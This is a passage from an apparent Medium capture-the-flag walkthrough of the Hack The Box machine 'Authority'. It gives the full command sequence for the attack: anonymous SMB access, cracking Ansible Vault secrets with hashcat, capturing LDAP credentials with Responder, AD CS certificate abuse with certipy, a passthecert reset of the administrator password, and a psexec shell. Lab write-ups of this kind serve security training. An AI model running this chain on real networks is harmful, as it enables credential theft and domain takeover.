src="https://cdn-images-1.medium.com/max/940/1*FlqhIJG9dxqu2NPTPreIdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*uXWnX7ea19Hc5joSnYvh_Q.png" /></figure><p>Next thing to look at is port 8443,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Wz1ImLMxEwP1FHKd4ScQrg.png" /></figure><p>The website is a “Password Self Service” of a server? Tried some SQL Injection methods but it didn’t seem to work so we move away from this website first.</p><p>Now, we are going to try and enumerate the SMB server using enum4linux.</p><pre>enum4linux -U -o 10.10.11.222</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*F-MlWGOnorbFW5XGB9FgpA.png" /></figure><p>As we can see, the result shows us that there are some usernames and we can access the SMB server without username and passwords.</p><p>Then we try to move to the other port which is port 139 SMB server. I tried to use “user” as admin.</p><pre>sudo smbmap -H 10.10.11.222 -u admin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Y_Jy9NXKukekNfvD8-O2GQ.png" /></figure><p>The result shown is very interesting, it has Development (Permissions READ-ONLY). The next thing to do is to try and access the “Development” Disk.</p><pre>smbclient \\\\10.10.11.222\\Development</pre><p>Then it will ask for password to access to WORKGROUP, I tried using <strong>admin</strong> and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*rjMyI5oRVXpRIr8WKUdZ3g.png" /></figure><p>Next thing I did is BRUTEFORCE looking through the whole Development Disk that can be accessed. I found this main.yml which has some interesting information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*EKQB7ktXxlBDD3pSJl0nzg.png" /></figure><p>there is pwm_admin_login, pwm_admin_password, and ldap_admin_password stored in Ansible-Vault.</p><p>So the next step I did is to save every single Ansible-Vault password in a .txt file and ansible2john all of them so that it will be hashcat-able.</p><pre>ansible2john &lt;file.txt&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*7AltEWLih4B8NYYdjw4mXw.png" /></figure><p>All the ansible2john-ed output is saved into seperate new .txt files to hashcat them 1 by 1.</p><pre>hashcat -m 16900 &lt;file.txt&gt; /usr/share/wordlists/rockyou.txt.gz</pre><p>The hashcat result will be shown $ansible$:&lt;result&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*JC_hG5qMmEAmaNDkT47Ofg.png" /></figure><p>The result is the Vault Password to crack the Ansible-Vault password that we got.</p><p>The next thing to do is to crack the Ansible-Vault password using the Vault Password we got recently. The &lt;file.txt&gt; is the file BEFORE we ansible2john (refer to the main.yml Ansible-Vault passwords).</p><pre>ansible-vault decrypt &lt;file.txt&gt;</pre><p>and then we just cat the file.</p><pre>cat &lt;file.txt&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*nMWaFaNo17-DmBYFnev51Q.png" /></figure><p>You will need to do this for every password in main.yml file and get all the decrypted password.</p><p>Now we refer back to the port 8443 website and try to login using the username and password found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*xJ_ra2faOxPnX9SDgim-7Q.png" /></figure><p>Next thing to do is to access the Configuration Manager to check what we can do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*g_VXN9a_cF4mCprYKwK5zA.png" /></figure><p>It needs a password to login, so we use the password gained to try and access it. The result shows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*i-ITxJqp77i52OPzFVQ1jg.png" /></figure><p>There is a LDAP url connection problem it seems, so we gonna try to the Configuration Editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*nvkpsMTXduwhtdZi95lW7w.png" /></figure><p>Then we use the password to try and login into the Configuration Editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*zMc8Lj_NM5RzT2YWDM94dg.png" /></figure><p>After successfully log into the Configuration Manager, we can change the ldap url from<strong> ldaps://authority.authority.htb:636</strong> to <strong>ldaps://authority.htb.corp:636/</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*lwBd-Y6UNrXZgQ8ZRXEp7Q.png" /></figure><p>After changing the url, we try to Import LDAP Certificates from Server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*bva5v2AOsEtL_HDXCB9WEw.png" /></figure><p>Next is to click on the “Test LDAP Profile” to check our connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*qV8JD1lGjtayag1R7U6xIw.png" /></figure><p>The result is already good, niceu. Now we try to login from the main page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*biR9ppRVIlCoN_eTHZ4uxg.png" /></figure><p>Ahhhh now the problem is it shows there is no “username” found.</p><p>We going back to access to the Configuration Editor Page to try to see that is going to happen if we try to send what the LDAP is doing to our ip &lt;Attacker-IP&gt;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*CXwJm6aeVdLK7osP37rxBg.png" /></figure><p>After changing the url, we going to first set up a “listening” service so that we can listen to what is going on. I used responder to listen to the server response.</p><pre>sudo responder -I tun0 -v</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*Rt2VLpuGtag5pROYFb7i7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*oXc3qTi0_iHyY-AvClh1fw.png" /></figure><p>Next thing to do is we click on the Test the LDAP Profile to see if we get any results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*SSwpFY9dLaPen2hD0u6jeg.png" /></figure><p>ALRIGHT, we got the cleartext password from the server.</p><p>Next we going to connect to the Windows Shell Remotely using evil-winrm tool.</p><pre>evil-winrm -i 10.10.11.222 -u &lt;username&gt; -p &lt;password&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*efUwuXnXz2IdxmUF944ELw.png" /></figure><p>Now we going to bruteforce check everything we can access from this user and look for anything important clues. From the bruteforce checking, I found a “Administrator” user from the Windows Shell but cannot be accessed. After searching the Documents Directory, we can see the user.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*FnnaqIYWl4B_pvJY--JJ4A.png" /></figure><p>Congratz, you found the user flag. Next is to try and get the root flag.</p><p>From the Windows Shell, I tried to use whoami /all to see all the info about the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*Bu2xJdWb9gyJN-KAqfvrtA.png" /></figure><p>OH, we found a “Add workstations to domain” Enabled. This might be something we can abuse.</p><p>Using impacket-addcomputer to add a computer that we can access remotely. The process we going to do is using the user svc_ldap to add a computer to the server.</p><pre>impacket-addcomputer authority.htb/svc_ldap:&lt;password&gt; -dc-ip 10.10.11.222 -computer-name &lt;enter_your_computer_name&gt; -computer-pass &lt;enter_your_password&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*R5KGGpGBLpxQkMPISucnrQ.png" /></figure><p>NOTE: The machine will remove the computer created after a set amount of time, if the computer is removed, you’ll need to add a new computer and redo the process again.</p><p>After creating the machine, I used certipy to retrive the Certificate Template. (This process if helped by a friend of mine with the compatible python code to run this process).</p><p>Friend’s Medium: <a href="https://medium.com/@Zhaxstronaut">https://medium.com/@Zhaxstronaut</a></p><p>NOTE: the command certipy-ad find and passthecert.py might not work with the Python3.11 version.</p><p>Github: <a href="https://github.com/ly4k/Certipy">https://github.com/ly4k/Certipy</a></p><p>Github: <a href="https://github.com/GhostPack/Certify/tree/main/Certify">https://github.com/GhostPack/Certify/tree/main/Certify</a></p><pre>certipy-ad find -u &lt;entered_name&gt; -p &lt;entered_password&gt; -dc-ip 10.10.11.222</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*2bsN2HELY5LmorMnh6phEg.png" /></figure><p>Opening the .txt file, we found some interesting things.</p><p>I wrote down the important things from the .txt file for better readability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*CXaIs9BwcN7BCsFJkRYvQg.png" /></figure><p>It shows that there is a “Domain Admins” domain, which might be very useful, the Template Name, Display Name, and Certificate Authorities.</p><p>Now, we are going to request the certificate using our computer that we previously created.</p><pre>certipy-ad req -ca AUTHORITY-CA -template &#39;CorpVpn&#39; -upn &quot;administrator@authority.htb&quot; -dns authority.authority.htb -dc-ip 10.10.11.222 -u &lt;entered_username&gt;$ -p &lt;entered_password&gt; -debug</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ZirBz87QcV782xI10btRYA.png" /></figure><p>We now got the certificate and private key to the “administrator_authority.pfx” (file name may differ).</p><p>Now we are going to output the private key and certificate from “administrator_authority.pfx” into .crt and .key files.</p><pre>certipy-ad cert -pfx administrator_authority.pfx -nokey -out user.key<br>certipy-ad cert -pfx administrator_authority.pfx -nocert -out user.crt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*dJUNSPXf_gekTWAmdqFDAg.png" /></figure><p>Using the passthecert tool, I try to pass the key and cert file extracted from “administrator_authority.pfx” to the server and try to change the Administrator’s Password.</p><pre>python3 passthecert.py -action modify_user -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222 -target administrator -new-pass</pre><p>Github: <a href="https://github.com/AlmondOffSec/PassTheCert/blob/main/Python/passthecert.py">https://github.com/AlmondOffSec/PassTheCert/blob/main/Python/passthecert.py</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*37F4R_ar_0Sjt6nDuqQn2g.png" /></figure><p>Now that we got the Administrator’s password, we can access the Windows Interactive Shell using impacket-psexec.</p><pre>impacket-psexec administrator:&lt;administrator_password&gt;@10.10.11.222</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*fG7W8Y0448gBiGX17dYD7Q.png" /></figure><p>Now that we can access the Windows Interactive Shell, we can go ahead and find the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*EI3OYgQi6hevb52tsIPoEA.png" /></figure><p>The directory I found is in the \Users\Administrator\Desktop</p><p>Congratulations, now you Pwn-ed the Machine!!! Happy hunting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3cb56007ab22" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>